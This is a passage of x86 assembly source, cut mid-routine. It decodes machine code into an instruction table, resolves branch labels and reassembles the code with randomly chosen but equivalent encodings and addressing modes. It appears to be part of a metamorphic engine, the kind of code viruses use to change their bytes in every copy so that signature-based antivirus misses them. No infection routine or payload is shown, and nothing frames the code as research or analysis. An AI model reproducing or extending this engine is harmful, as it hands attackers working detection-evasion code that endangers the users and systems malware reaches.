cmp eax, 0C6h
jz @@MOVMem8Value
cmp eax, 0C7h
jz @@MOVMem32Value
cmp eax, 0D0h
jz @@BitShifting8
cmp eax, 0D1h
jz @@BitShifting32
cmp eax, 0E8h
jz @@CALL
cmp eax, 0E9h
jz @@JMP
cmp eax, 0EBh
jz @@JMP8
cmp eax, 0F5h
jz @@NOP
cmp eax, 0F6h
jz @@SomeNotVeryCommon8
cmp eax, 0F7h
jz @@SomeNotVeryCommon32
cmp eax, 0FDh
jbe @@NOP
cmp eax, 0FEh
jz @@INCDECMem8
cmp eax, 0FFh
jz @@INCDECPUSHMem32
mov eax, 0FFh
@@SetOneByteInstruction:
mov [edi], eax
add edi, 10h
inc esi
@@ContinueDissasembly:
jmp @@LoopTrace
@@GenericOpcode:
and eax, 7
cmp eax, 3
jbe @@Gen_NormalOpcode
cmp eax, 4
jz @@Gen_UsingAL
cmp eax, 5
jz @@Gen_UsingEAX
mov eax, [esi]
and eax, 0FFh
cmp eax, 0Fh
jz @@Opcode0F
jmp @@SetOneByteInstruction
@@Gen_NormalOpcode:
or eax, eax
jz @@Gen_8b_MemReg
cmp eax, 1
jz @@Gen_32b_MemReg
cmp eax, 2
jz @@Gen_8b_RegMem
@@Gen_32b_RegMem:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@Gen_32b_ReglReg
mov eax, [esi]
and eax, 0FFh
cmp eax, 8Bh
jnz @@Gen_32b_RegMem_0
mov eax, 40h+2
jmp @@Gen_GenMem
@@Gen_32b_RegMem_0:
and eax, 38h
add eax, 2
@@Gen_GenMem:
mov edx, [edi]
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
mov [edi], eax
mov eax, [esi+1]
and eax, 38h
shr eax, 3
mov [edi+7], eax
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
jmp @@NextInstruction
@@Gen_32b_MemReg:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@Gen_32b_lRegReg
mov eax, [esi]
and eax, 0FFh
cmp eax, 85h
jnz @@Gen_32b_MemReg_0
mov eax, 48h+3
jmp @@Gen_GenMem
@@Gen_32b_MemReg_0:
@@Gen_32b_MemReg_1:
cmp eax, 89h
jnz @@Gen_32b_MemReg_2
mov eax, 40h+3
jmp @@Gen_GenMem
@@Gen_32b_MemReg_2:
and eax, 38h
add eax, 3
jmp @@Gen_GenMem
@@Gen_32b_ReglReg:
call GenOp_SetRegReg
@@Gen_GenReglReg:
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
mov eax, [esi+1]
and eax, 38h
shr eax, 3
mov [edi+7], eax
add esi, 2
jmp @@NextInstruction
@@Gen_32b_lRegReg:
call GenOp_SetRegReg
@@Gen_GenlRegReg:
mov eax, [esi+1]
and eax, 7
mov [edi+7], eax
mov eax, [esi+1]
and eax, 38h
shr eax, 3
mov [edi+1], eax
add esi, 2
jmp @@NextInstruction
@@Gen_8b_RegMem:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@Gen_8b_ReglReg
mov eax, [esi]
and eax, 0FFh
cmp eax, 8Ah
jnz @@Gen_8b_RegMem_0
mov eax, 40h+82h
jmp @@Gen_GenMem
@@Gen_8b_RegMem_0:
and eax, 38h
add eax, 82h
jmp @@Gen_GenMem
@@Gen_8b_MemReg:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@Gen_8b_lRegReg
mov eax, [esi]
and eax, 0FFh
cmp eax, 84h
jnz @@Gen_8b_MemReg_0
mov eax, 48h+83h
jmp @@Gen_GenMem
@@Gen_8b_MemReg_0:
@@Gen_8b_MemReg_1:
cmp eax, 88h
jnz @@Gen_8b_MemReg_2
mov eax, 40h+83h
jmp @@Gen_GenMem
@@Gen_8b_MemReg_2:
and eax, 38h
add eax, 83h
jmp @@Gen_GenMem
@@Gen_8b_lRegReg:
call GenOp_SetRegReg
mov eax, [edi]
add eax, 80h
mov [edi], eax
jmp @@Gen_GenlRegReg
@@Gen_8b_ReglReg:
call GenOp_SetRegReg
mov eax, [edi]
add eax, 80h
mov [edi], eax
jmp @@Gen_GenReglReg
@@Gen_UsingAL:
mov eax, [esi]
and eax, 38h
add eax, 80h
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
xor eax, eax
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 7Fh
jbe @@Gen_UsingAL_01
add eax, 0FFFFFF00h
@@Gen_UsingAL_01:
add esi, 2
jmp @@Gen_SetValue
@@Gen_UsingEAX:
mov eax, [esi]
and eax, 38h
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
mov eax, [esi+1]
add esi, 5
@@Gen_SetValue:
mov [edi+7], eax
xor eax, eax
mov [edi+1], eax
jmp @@NextInstruction
@@Op_INC: and eax, 7
mov [edi+1], eax
xor eax, eax
jmp @@Op_GenINCDEC
@@Op_DEC: and eax, 7
mov [edi+1], eax
mov eax, 28h
@@Op_GenINCDEC:
mov edx, [edi]
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
mov [edi], eax
mov eax, 1
mov [edi+7], eax
add esi, 1
jmp @@NextInstruction
@@Op_PUSHPOP: and eax, 7
mov [edi+1], eax
mov eax, [esi]
and eax, 58h
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
add esi, 1
jmp @@NextInstruction
@@Op_PUSHValue:
mov [edi], eax
mov eax, [esi+1]
mov [edi+7], eax
add esi, 5
jmp @@NextInstruction
@@Op_PUSHSignedValue:
mov eax, 68h
mov [edi], eax
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 7Fh
jbe @@Op_PUSHSignedValue_01
add eax, 0FFFFFF00h
@@Op_PUSHSignedValue_01:
mov [edi+7], eax
add esi, 2
jmp @@NextInstruction
@@GenericOpcode2:
and eax, 1
or eax, eax
jz @@Gen2_8b
@@Gen2_32b:
mov eax, [esi+1]
and eax, 38h
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
mov eax, [esi]
and eax, 2
or eax, eax
jnz @@Gen2_Gen_Signed
@@Gen32Value:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@Gen2_32b_Register
mov eax, [edi]
add eax, 4
mov [edi], eax
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
mov eax, [esi+1]
sub esi, ebx
add esi, 3
jmp @@Gen2_Gen_Memory
@@Gen2_32b_Register:
mov eax, [esi+2]
mov [edi+7], eax
mov eax, [esi+1]
add esi, 6
jmp @@Gen2_Gen_Register
@@Gen2_8b:
mov eax, [esi+1]
and eax, 38h
add eax, 80h
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
@@Gen2_Gen_Signed:
@@Gen8Value:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@Gen2_8b_Register
mov eax, [edi]
add eax, 4
mov [edi], eax
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
xor eax, eax
add esi, ebx
mov eax, [esi+1]
sub esi, ebx
and eax, 0FFh
cmp eax, 7Fh
jbe @@Gen8Value_01
add eax, 0FFFFFF00h
@@Gen8Value_01:
@@Gen2_Gen_Memory:
mov [edi+7], eax
add esi, ebx
add esi, 2
jmp @@NextInstruction
@@Gen2_8b_Register:
mov eax, [esi+2]
and eax, 0FFh
cmp eax, 7Fh
jbe @@Gen2_8b_Register_01
add eax, 0FFFFFF00h
@@Gen2_8b_Register_01:
mov [edi+7], eax
mov eax, [esi+1]
add esi, 3
@@Gen2_Gen_Register:
and eax, 7
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax
jmp @@NextInstruction
@@LEA: mov eax, 0FCh
mov [edi], eax
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
mov eax, [esi+1]
and eax, 38h
shr eax, 3
mov [edi+7], eax
add esi, ebx
add esi, 1
jmp @@NextInstruction
@@POPMem: mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@POPMem_butReg
mov eax, 59h
mov [edi], eax
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
jmp @@NextInstruction
@@POPMem_butReg:
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
mov eax, 58h
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
add esi, 2
jmp @@NextInstruction
@@NOP: mov eax, 0FFh
mov [edi], eax
add esi, 1
jmp @@NextInstruction
@@TESTALValue:
mov eax, [esi+1]
and eax, 0FFh
mov ecx, eax
mov eax, 0C8h
add esi, 2
@@TESTxAxValue:
mov [edi], eax
xor eax, eax
mov [edi+1], eax
mov [edi+7], ecx
jmp @@NextInstruction
@@TESTEAXValue:
mov ecx, [esi+1]
mov eax, 48h
add esi, 5
jmp @@TESTxAxValue
@@MOVRegValue:
mov eax, 40h
mov [edi], eax
mov ecx, [esi+1]
mov eax, [esi]
add esi, 5
@@MOVRegValue_Common:
and eax, 7
mov [edi+1], eax
mov [edi+7], ecx
jmp @@NextInstruction
@@MOVReg8Value:
mov eax, 0C0h
mov [edi], eax
mov eax, [esi+1]
and eax, 0FFh
mov ecx, eax
mov eax, [esi]
add esi, 2
jmp @@MOVRegValue_Common
@@BitShifting32:
mov eax, 0F0h
@@BitShifting_Common:
mov [edi], eax
mov eax, [esi+1]
and eax, 38h
mov edx, [edi+8]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+8], eax
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@BS32_Reg
mov eax, [edi]
add eax, 1
mov [edi], eax
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
@@BS32_Common:
mov eax, [esi]
and eax, 0FFh
cmp eax, 0D0h
jb @@BS32_GetNumber
mov eax, 1
sub esi, 1
jmp @@BS32_SetNumber
@@BS32_GetNumber:
add esi, ebx
mov eax, [esi+1]
sub esi, ebx
@@BS32_SetNumber:
and eax, 1Fh
mov edx, [edi+7]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+7], eax
add esi, ebx
add esi, 2
jmp @@NextInstruction
@@BS32_Reg:
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
mov ebx, 1
jmp @@BS32_Common
@@BitShifting8:
mov eax, 0F2h
jmp @@BitShifting_Common
@@MOVMem8Value:
mov eax, 0C4h
mov [edi], eax
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@MOVMem8_RegValue
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
@@MOVMem8Value_Common:
mov eax, [esi]
and eax, 0FFh
cmp eax, 7Fh
jbe @@MOVMem8Value_01
add eax, 0FFFFFF00h
@@MOVMem8Value_01:
mov [edi+7], eax
add esi, 1
jmp @@NextInstruction
@@MOVMem8_RegValue:
mov eax, 0C0h
mov [edi], eax
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
add esi, 2
jmp @@MOVMem8Value_Common
@@MOVMem32Value:
mov eax, 44h
mov [edi], eax
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@MOVMem32_RegValue
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
mov eax, [esi]
mov [edi+7], eax
add esi, 4
jmp @@NextInstruction
@@MOVMem32_RegValue:
mov eax, 40h
mov [edi], eax
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
mov eax, [esi+2]
mov [edi+7], eax
add esi, 6
jmp @@NextInstruction
@@SomeNotVeryCommon8:
mov eax, [esi+1]
and eax, 38h
or eax, eax
jz @@TEST8Value
shr eax, 1
add eax, 0DAh
@@SNVC_Gen: mov [edi], eax
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@NOTNEGReg8
mov eax, [edi]
add eax, 1
mov [edi], eax
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
jmp @@NextInstruction
@@NOTNEGReg8:
mov eax, [esi+1]
and eax, 7
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax
add esi, 2
jmp @@NextInstruction
@@SomeNotVeryCommon32:
mov eax, [esi+1]
and eax, 38h
or eax, eax
jz @@TEST32Value
shr eax, 1
add eax, 0D8h
jmp @@SNVC_Gen
@@TEST8Value:
mov eax, 0C8h
mov [edi], eax
jmp @@Gen8Value
@@TEST32Value:
mov eax, 48h
mov [edi], eax
jmp @@Gen32Value
@@INCDECMem8:
mov eax, [esi+1]
and eax, 38h
or eax, eax
jz @@INCMem8
@@DECMem8: mov eax, 0ACh
@@INCDECMem8_Next:
mov [edi], eax
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@INCDECReg8
@@INCDECPUSH_Gen:
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
mov eax, 1
mov [edi+7], eax
mov eax, [edi]
and eax, 0FFh
cmp eax, 0EBh
jnz @@NextInstruction
add edi, 10h
jmp @@GetEIPFromFutureLabelList
@@INCDECReg8:
mov eax, [edi]
sub eax, 4
mov [edi], eax
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
mov eax, 1
mov [edi+7], eax
add esi, 2
jmp @@NextInstruction
@@INCMem8: mov eax, 84h
jmp @@INCDECMem8_Next
@@INCDECPUSHMem32:
mov eax, [esi+1]
and eax, 38h
or eax, eax
jz @@INCMem32
cmp eax, 08h
jz @@DECMem32
cmp eax, 10h
jz @@CALLMem32
cmp eax, 20h
jz @@JMPMem32
@@PUSHMem32:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@PUSHMem32_Reg
mov eax, 51h
mov [edi], eax
jmp @@INCDECPUSH_Gen
@@PUSHMem32_Reg:
mov eax, 50h
@@INCDECPUSH_GenMem32_Reg:
mov [edi], eax
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
mov eax, 1
mov [edi+7], eax
add esi, 2
mov eax, [edi]
and eax, 0FFh
cmp eax, 0EDh
jnz @@NextInstruction
add edi, 10h
jmp @@GetEIPFromFutureLabelList
@@INCMem32:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@INCReg32
mov eax, 4
jmp @@INCDECMem8_Next
@@INCReg32:
xor eax, eax
jmp @@INCDECPUSH_GenMem32_Reg
@@DECMem32:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@DECReg32
mov eax, 2Ch
jmp @@INCDECMem8_Next
@@DECReg32:
mov eax, 28h
jmp @@INCDECPUSH_GenMem32_Reg
@@CALLMem32:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@CALLMem32_Reg
mov eax, 0EAh
mov [edi], eax
jmp @@INCDECPUSH_Gen
@@CALLMem32_Reg:
mov eax, 0ECh
jmp @@INCDECPUSH_GenMem32_Reg
@@JMPMem32:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@JMPMem32_Reg
mov eax, 0EBh
mov [edi], eax
jmp @@INCDECPUSH_Gen
@@JMPMem32_Reg:
mov eax, 0EDh
jmp @@INCDECPUSH_GenMem32_Reg
@@NextInstruction:
add edi, 10h
jmp @@ContinueDissasembly
@@RET: mov eax, 0FEh
mov [edi], eax
inc esi
add edi, 10h
jmp @@GetEIPFromFutureLabelList
@@JMP8: mov eax, [esi+1]
and eax, 0FFh
cmp eax, 7Fh
jbe @@JMP8_01
add eax, 0FFFFFF00h
@@JMP8_01:
add eax, 2
add eax, esi
jmp @@JMP_Next01
@@JMP: mov eax, [esi+1]
add eax, 5
add eax, esi
@@JMP_Next01:
mov ebx, [ebp+InstructionTable]
cmp ebx, edi
jz @@NoInstructions
@@FindDestinyInTable:
cmp [ebx+0Ch], eax
jz @@SetLabel
add ebx, 10h
cmp ebx, edi
jnz @@FindDestinyInTable
@@NoInstructions:
mov ecx, 0FFh
mov [edi], ecx
add edi, 10h
mov esi, eax
jmp @@LoopTrace
@@SetLabel:
mov ecx, 0E9h
mov [edi], ecx
mov edx, esi
mov [edi+0Ch], edx
add edi, 10h
push eax
mov eax, [esi]
and eax, 0FFh
mov ecx, eax
pop eax
cmp ecx, 0EBh
jz @@Add2ToEIP
add esi, 3
@@Add2ToEIP:
add esi, 2
call InsertLabel
mov [edi+1-10h], edx
@@GetEIPFromFutureLabelList:
mov ecx, [ebp+NumberOfLabelsPost]
or ecx, ecx
jz @@FinDeTraduccion
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckForNewEIP:
mov eax, [ebx]
or eax, eax
jnz @@GetNewEIP
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopCheckForNewEIP
jmp @@FinDeTraduccion
@@GetNewEIP:
mov esi, [ebx]
jmp @@LoopTrace
@@Opcode0F:
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 80h
jb @@Op0F_Next00
cmp eax, 8Fh
jbe @@Jcc32
@@Op0F_Next00:
cmp eax, 0B6h
jz @@Op0F_MOVZX
add esi, 2
jmp @@DefineInstr
@@Op0F_MOVZX:
mov eax, 0F8h
mov [edi], eax
mov eax, [esi+2]
and eax, 38h
shr eax, 3
mov [edi+7], eax
mov edx, esi
add edx, 2
call DecodeMemoryConstruction
add esi, ebx
add esi, 2
jmp @@NextInstruction
@@Jcc32: mov eax, [esi+2]
add eax, esi
add eax, 6
jmp @@ContinueWithBranchInstr
@@CALL: mov eax, [esi+1]
add eax, esi
add eax, 5
jmp @@ContinueWithBranchInstr
@@Jcc: mov eax, [esi+1]
and eax, 0FFh
cmp eax, 7Fh
jbe @@Jcc_01
add eax, 0FFFFFF00h
@@Jcc_01:
add eax, esi
add eax, 2
@@ContinueWithBranchInstr:
mov ecx, eax
call SetInFutureLabelList
push eax
mov eax, [esi]
and eax, 0FFh
cmp eax, 0Fh
jz @@Jcc_Jcc32
cmp eax, 0E8h
jz @@Jcc_AddEIP5
jmp @@Jcc_AddEIP2
@@Jcc_Jcc32:
mov eax, [esi+1]
and eax, 0FFh
sub eax, 10h
@@Jcc_AddEIP6:
inc esi
@@Jcc_AddEIP5:
add esi, 3
@@Jcc_AddEIP2:
add esi, 2
mov edx, [edi]
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
mov [edi], eax
pop eax
or eax, eax
jz @@NextInstruction
call InsertLabel
mov [edi+1], edx
jmp @@NextInstruction
@@FinDeTraduccion:
ret
DisasmCode endp
SetInFutureLabelList proc
mov ebx, [ebp+InstructionTable]
cmp ebx, edi
jz @@SetFutureLabel
@@LoopCheckLabelForJcc:
cmp [ebx+0Ch], eax
jz @@Jcc_CodeDefined
add ebx, 10h
cmp ebx, edi
jnz @@LoopCheckLabelForJcc
@@SetFutureLabel:
mov edx, [ebp+NumberOfLabelsPost]
shl edx, 3
add edx, [ebp+FutureLabelTable]
mov [edx], eax
mov [edx+4], edi
mov eax, [ebp+NumberOfLabelsPost]
add eax, 1
mov [ebp+NumberOfLabelsPost], eax
xor eax, eax
@@Jcc_CodeDefined:
ret
SetInFutureLabelList endp
ReleaseFutureLabels proc
mov ecx, [ebp+NumberOfLabelsPost]
or ecx, ecx
jz @@DefineInstr
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckFutureLabel:
cmp [ebx], esi
jz @@FutureLabelFound
@@OtherFutureLabel:
add ebx, 8
dec ecx
or ecx, ecx
jnz @@LoopCheckFutureLabel
@@DefineInstr:
ret
@@FutureLabelFound:
push ecx
push ebx
mov eax, esi
mov ebx, edi
call InsertLabel
pop ebx
mov eax, [ebx+4]
mov [eax+1], edx
xor ecx, ecx
mov [ebx], ecx
pop ecx
jmp @@OtherFutureLabel
ReleaseFutureLabels endp
InsertLabel proc
mov edx, [ebp+LabelTable]
mov ecx, [ebp+NumberOfLabels]
or ecx, ecx
jz @@Jcc_InsertLabel
@@Jcc_LoopLabel:
cmp [edx], eax
jz @@Jcc_LabelStillExists
add edx, 8
dec ecx
or ecx, ecx
jnz @@Jcc_LoopLabel
@@Jcc_InsertLabel:
mov [edx], eax
mov [edx+4], ebx
push eax
mov eax, [ebx+0Bh]
and eax, 0FFFFFF00h
add eax, 1
mov [ebx+0Bh], eax
mov eax, [ebp+NumberOfLabels]
add eax, 1
mov [ebp+NumberOfLabels], eax
pop eax
@@Jcc_LabelStillExists:
ret
InsertLabel endp
GenOp_SetRegReg proc
push edx
mov edx, [edi]
and edx, 0FFFFFF00h
mov eax, [esi]
and eax, 0FFh
cmp eax, 3Fh
jbe @@SRR_01
cmp eax, 85h
jbe @@SRR_02
cmp eax, 8Bh
jbe @@SRR_04
@@SRR_01: and eax, 38h
add eax, 1
@@SRR_Store:
add eax, edx
mov [edi], eax
pop edx
ret
@@SRR_02: mov eax, 48h+1
jmp @@SRR_Store
@@SRR_04: mov eax, 40h+1
jmp @@SRR_Store
GenOp_SetRegReg endp
;---------------------------------------------------------------------------------------
AssembleCode proc
xor eax, eax
mov [ebp+NumberOfJumpRelocations], eax
mov esi, [ebp+InstructionTable]
mov edi, [ebp+NewAssembledCode]
mov ecx, [ebp+NumberOfLabels]
mov edx, [ebp+LabelTable]
@@LoopSetLabel:
mov ebx, [edx+4]
mov eax, [ebx+0Bh]
or eax, 01h
mov [ebx+0Bh], eax
add edx, 8
dec ecx
or ecx, ecx
jnz @@LoopSetLabel
@@LoopAssemble_01:
mov eax, [esi+0Bh]
and eax, 0FFh
cmp eax, 1
jnz @@Assemble_Instruction
mov eax, [ebp+NumberOfLabels]
mov edx, [ebp+LabelTable]
@@LoopCheckLabel:
cmp [edx+4], esi
jnz @@CheckNextLabel
mov [edx], edi
@@CheckNextLabel:
add edx, 8
dec eax
or eax, eax
jnz @@LoopCheckLabel
@@Assemble_Instruction:
call AssembleInstruction
add esi, 10h
mov eax, [ebp+AddressOfLastInstruction]
cmp esi, eax
jb @@LoopAssemble_01
mov [ebp+AddressOfLastInstruction], edi
mov eax, edi
sub eax, [ebp+NewAssembledCode]
mov [ebp+SizeOfNewCode], eax
add eax, 20h
mov ebx, 0F000h
@@LoopGetRoundedSize:
add ebx, 1000h
cmp ebx, eax
jb @@LoopGetRoundedSize
mov [ebp+RoundedSizeOfNewCode], ebx
mov eax, 4000h
@@LoopGetSizeP2:
shl eax, 1
cmp eax, [ebp+SizeOfNewCode]
jb @@LoopGetSizeP2
mov [ebp+SizeOfNewCodeP2], eax
mov esi, [ebp+JumpRelocationTable]
mov ecx, [ebp+NumberOfJumpRelocations]
@@LoopReloc01:
mov edi, [esi]
mov eax, [esi+4]
mov eax, [eax]
mov edx, edi
add edx, 5
sub eax, edx
mov ebx, [edi]
and ebx, 0FFh
cmp ebx, 7Fh
jbe @@Short
cmp ebx, 0EBh
jz @@Short
mov [edi+1], eax
@@Next: sub ecx, 8
add esi, 8
or ecx, ecx
jnz @@LoopReloc01
ret
@@Short: add eax, 3
mov [edi+1], al
jmp @@Next
AssembleCode endp
Asm_AddToRelocTable proc
mov ebx, [ebp+JumpRelocationTable]
mov ecx, [ebp+NumberOfJumpRelocations]
add ebx, ecx
mov [ebx], edi
mov eax, [esi+1]
mov [ebx+4], eax
add ecx, 8
mov [ebp+NumberOfJumpRelocations], ecx
ret
Asm_AddToRelocTable endp
Asm_MakeMemoryAddress proc
mov ecx, [esi+1]
and ecx, 0FFh
mov eax, [esi+2]
and eax, 0FFh
cmp eax, ecx
jae @@Next00
mov edx, eax
jmp @@Next01
@@Next00: mov edx, ecx
mov ecx, eax
@@Next01: cmp edx, 8
jz @@NoIndex1
cmp ecx, 8
jz @@Only1Index
cmp ecx, 7
ja @@NoExchange
call Random
and eax, 1
jz @@NoExchange
mov eax, ecx
mov ecx, edx
mov edx, eax
@@NoExchange:
mov eax, [esi+3]
or eax, eax
jz @@2Index_0
cmp eax, 7Fh
jbe @@2Index_Byte
cmp eax, 0FFFFFF80h
jae @@2Index_Byte
@@2Index_Dword:
mov eax, 84h
@@2Index_Dword_Subr:
push eax
mov eax, ecx
and eax, 0C0h
shl ecx, 3
and ecx, 38h
add eax, ecx
add edx, eax
pop eax
jmp @@SetMemory01
@@2Index_Byte:
call Random
and eax, 1
jz @@2Index_Dword
mov eax, 44h
call @@2Index_Dword_Subr
sub edi, 3
ret
@@2Index_0:
call Random
and eax, 1
jz @@2Index_Byte
cmp edx, 5
jz @@2Index_Byte
mov eax, 04h
call @@2Index_Dword_Subr
sub edi, 4
ret
@@Only1Index:
mov eax, [esi+3]
or eax, eax
jz @@Only1Index_0
cmp eax, 7Fh
jbe @@Only1Index_Byte
cmp eax, 0FFFFFF80h
jae @@Only1Index_Byte
@@Only1Index_Dword:
call Random
and eax, 3
or eax, eax
jz @@Only1Index_Dword
cmp eax, 1
jz @@Only1Index_Dword_01
cmp eax, 2
jz @@Only1Index_Dword_02
@@Only1Index_Dword_03:
mov eax, 84h
add edx, 20h
jmp @@SetMemory01
@@Only1Index_Dword_02:
mov eax, 04h
shl edx, 3
add edx, 5
jmp @@SetMemory01
@@Only1Index_Dword_01:
add edx, 80h
add edx, ebx
mov [edi], edx
mov eax, [esi+3]
mov [edi+1], eax
add edi, 5
ret
@@Only1Index_Byte:
call Random
and eax, 1
jz @@Only1Index_Dword
call Random
and eax, 1
jz @@Only1Index_Byte_01
@@Only1Index_Byte_02:
mov eax, 44h
add eax, ebx
mov [edi], eax
add edx, 20h
mov [edi+1], edx
mov eax, [esi+3]
mov [edi+2], eax
add edi, 3
ret
@@Only1Index_Byte_01:
add edx, 40h
add edx, ebx
mov [edi], edx
mov eax, [esi+3]
mov [edi+1], eax
add edi, 2
ret
@@Only1Index_0:
call Random
and eax, 1
jz @@Only1Index_Byte
cmp edx, 5
jz @@Only1Index_Byte
add edx, ebx
mov [edi], edx
add edi, 1
ret
@@NoIndex1: cmp ecx, 8
jz @@DirectAddress
mov edx, ecx
and edx, 0C0h
and ecx, 7
shl ecx, 3
add edx, ecx
add edx, 5
mov eax, 4
@@SetMemory01:
add eax, ebx
mov [edi], eax
mov [edi+1], edx
mov eax, [esi+3]
mov [edi+2], eax
add edi, 6
ret
@@DirectAddress:
mov eax, 05h
add eax, ebx
mov [edi], eax
mov eax, [esi+3]
mov [edi+1], eax
add edi, 5
ret
Asm_MakeMemoryAddress endp
AssembleInstruction proc
mov [esi+0Ch], edi
mov eax, [esi]
and eax, 0FFh
cmp eax, 4Ch
ja @@Assemble_Next00
mov ebx, eax
and ebx, 0F8h
and eax, 7
or eax, eax
jz @@Assemble_OPRegImm
cmp eax, 1
jz @@Assemble_OPRegReg
cmp eax, 2
jz @@Assemble_OPRegMem
cmp eax, 3
jz @@Assemble_OPMemReg
@@Assemble_OPMemImm:
cmp ebx, 38h
jbe @@Assemble_OPMemImm_Normal
cmp ebx, 40h
jz @@Assemble_MOVMemImm
@@Assemble_TESTMemImm:
xor ebx, ebx
mov eax, 0F7h
jmp @@Assemble_OPMemImm_Normal_00
@@Assemble_MOVMemImm:
xor ebx, ebx
mov eax, 0C7h
jmp @@Assemble_OPMemImm_Normal_00
@@Assemble_OPMemImm_Normal:
mov eax, [esi+7]
cmp eax, 7Fh
jbe @@Assemble_OPMemImm_Normal_Byte
cmp eax, 0FFFFFF80h
jae @@Assemble_OPMemImm_Normal_Byte
@@Assemble_OPMemImm_Normal_Dword:
mov eax, 81h
@@Assemble_OPMemImm_Normal_00:
mov [edi], eax
add edi, 1
call Asm_MakeMemoryAddress
mov eax, [esi+7]
mov [edi], eax
add edi, 4
ret
@@Assemble_OPMemImm_Normal_Byte:
call Random
and eax, 1
jz @@Assemble_OPMemImm_Normal_Dword
mov eax, 83h
mov [edi], eax
add edi, 1
call Asm_MakeMemoryAddress
mov eax, [esi+7]
mov [edi], eax
add edi, 1
ret
@@Assemble_OPRegImm:
cmp ebx, 38h
jbe @@Assemble_OPRegImm_Normal
cmp ebx, 40h
jz @@Assemble_MOVRegImm
@@Assemble_TESTRegImm:
mov eax, [esi+1]
and eax, 7
or eax, eax
jnz @@Assemble_TESTRegImm_NotEAX
call Random
and eax, 1
jz @@Assemble_TESTRegImm_NotEAX
mov eax, 0A9h
jmp @@Assemble_OPRegImm_OneByteOpcode
@@Assemble_TESTRegImm_NotEAX:
mov eax, 0F7h
xor ebx, ebx
jmp @@Assemble_OPRegImm_Normal_01
@@Assemble_MOVRegImm:
call Random
and eax, 1
jz @@Assemble_MOVRegImm_OneByteOpcode
mov eax, 0C7h
xor ebx, ebx
jmp @@Assemble_OPRegImm_Normal_01
@@Assemble_MOVRegImm_OneByteOpcode:
mov eax, [esi+1]
add eax, 0B8h
jmp @@Assemble_OPRegImm_OneByteOpcode
@@Assemble_OPRegImm_Normal:
mov eax, [esi+1]
and eax, 7
or eax, eax
jnz @@Assemble_OPRegImm_Normal_00
call Random
and eax, 1
jz @@Assemble_OPRegImm_Normal_00
mov eax, ebx
add eax, 5
@@Assemble_OPRegImm_OneByteOpcode:
mov [edi], eax
mov eax, [esi+7]
mov [edi+1], eax
add edi, 5
ret
@@Assemble_OPRegImm_Normal_00:
mov eax, 81h
@@Assemble_OPRegImm_Normal_01:
mov [edi], eax
mov eax, [esi+1]
and eax, 7
add eax, 0C0h
add eax, ebx
mov [edi+1], eax
mov eax, [esi+7]
mov [edi+2], eax
add edi, 6
ret
@@Assemble_OPRegReg:
cmp ebx, 38h
jbe @@Assemble_OPRegReg_Normal
cmp ebx, 40h
jz @@Assemble_MOVRegReg
@@Assemble_TESTRegReg:
mov ebx, 85h
@@Assemble_TEST8RegReg_00:
call Random
and eax, 1
jz @@Assemble_OPRegReg_NextFF
jmp @@Assemble_OPRegReg_Inversed_2
@@Assemble_MOVRegReg:
mov ebx, 88h
@@Assemble_OPRegReg_Normal:
add ebx, 1
